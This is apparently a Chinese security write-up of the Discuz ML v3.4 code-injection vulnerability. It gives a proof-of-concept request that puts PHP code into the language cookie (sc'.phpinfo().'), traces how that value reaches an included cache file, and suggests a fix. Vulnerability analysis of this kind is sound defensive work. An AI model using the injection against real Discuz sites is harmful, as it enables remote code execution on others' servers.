0x00 前言
7月11号Discuz ML被爆出存在任意代码注入漏洞,Discuz在国内的用户量还是很可观的,国外还没有去关注,从官方下载源码对漏洞的原理详细的分析了一下,源码地址(http://discuz.ml/download)
0x01 POC
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/CMS/discuz.ml/vot-discuz.ml-fa108dcc726d/upload/install/index.php?method=ext_info&language=sc
Cookie: UM_distinctid=16961881c34a-0be7f060296b93-173b7740-1a9640-16961881c35265; CNZZDATA5770257=cnzz_eid%3D1356317550-1552119465-%26ntime%3D1554215107; ECS[visit_times]=11; CNZZDATA1257137=cnzz_eid%3D591241165-1552785038-%26ntime%3D1552785038; GK9p_2132_saltkey=ek5JjJGL; GK9p_2132_lastvisit=1562973338; GK9p_2132_sid=SW5SHK; GK9p_2132_lastact=1562977009%09forum.php%09; O2FL_2132_saltkey=ao6mCm4C; O2FL_2132_language=sc%27.phpinfo().%27; O2FL_2132_lastvisit=1562973840; O2FL_2132_sid=MVTcHf; O2FL_2132_lastact=1562977475%09index.php%09; O2FL_2132_sendmail=1; O2FL_2132_onlineusernum=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
主要就是
O2FL_2132_language=sc%27.phpinfo().%27;
0x02 漏洞分析
这里分析Discuz ML v3.4源码,该漏洞主要是通过控制缓存文件的内容,之后缓存文件又被系统调用从而触发,根据POC可知是通过构造Cookie中language的值进行代码注入,在language中构造错误代码判断漏洞触发文件。
都是require()和include()报错,也就是说是包涵的文件出了问题,到forum_index.php中查看一下
这里是调用缓存文件,根据报错信息可以知道导致报错的缓存文件是:data/template/sc'_1_1_common_header_forum_index.tpl.php,很明显文件名中有部分片段是取自language的值,同时也就是说构造的POC会被植入到缓存文件中,跟进到template()中查看缓存文件的生成规则(function_code.php 644行)
很明显,缓存文件的命名规则由多部分组成,其中第一部分区自DISCUZ_LANG,根据前面的报错信息也可以知道,这个变量的值也就是Cookie中language字段的值,该函数最终返回DISCUZ_ROOT.$cachefile,可想而知,最终返回的便是缓存文件路劲用于文件包含,这里追溯一下DISCUZ_LANG(discuz_application.php定义)
DISCUZ_LANG的值取自于变量$lng,变量$lng的值取自于cookie language
很明显language字段的值没有经过任何过滤直接传到了变量$lng的值,直接用该字段对缓存文件进行命名,这也是导致该漏洞触发的直接原因。
接下来分析一下注入的代码是如何植入到缓存文件中的,定位到template类进行分析(class_template.php),在Discuz程序运行过程中,会读取template/default/common/目录下的默认模版
模版读取的内容传入到变量$template中,并对$template进行字符串替换操作
关键点在于变量$header
$headeradd .= "|| checktplrefresh('$tplfile', '$fname', ".time().", '$templateid', '$cachefile', '$tpldir', '$file')\n";
将checktplrefresh也写入到缓存文件中,文件内容类型于
结合上面的分析,其中变量$cachefile是我们可以控制的,也就是说控制生成的恶意变量名会被当作变量值写入到缓存文件中,别切恰好缓存文件会担子template()函数的返回值直接被包涵调用,这就太完美了,结合一下代码拼接,所以直接在language字段构造任意代码,例如sc'.phpinfo().'
(sc也可以不要),查看生成的缓存文件的内容。
由于代码包含的原因,所以注入到缓存文件中的恶意代码直接执行,其中首页就有包涵,全局搜索一下的话,应该有不少地方有进行包含可以直接利用。
0x03 修复建议
缓存缓文件名固定即可,加过滤的话也很容易被绕过。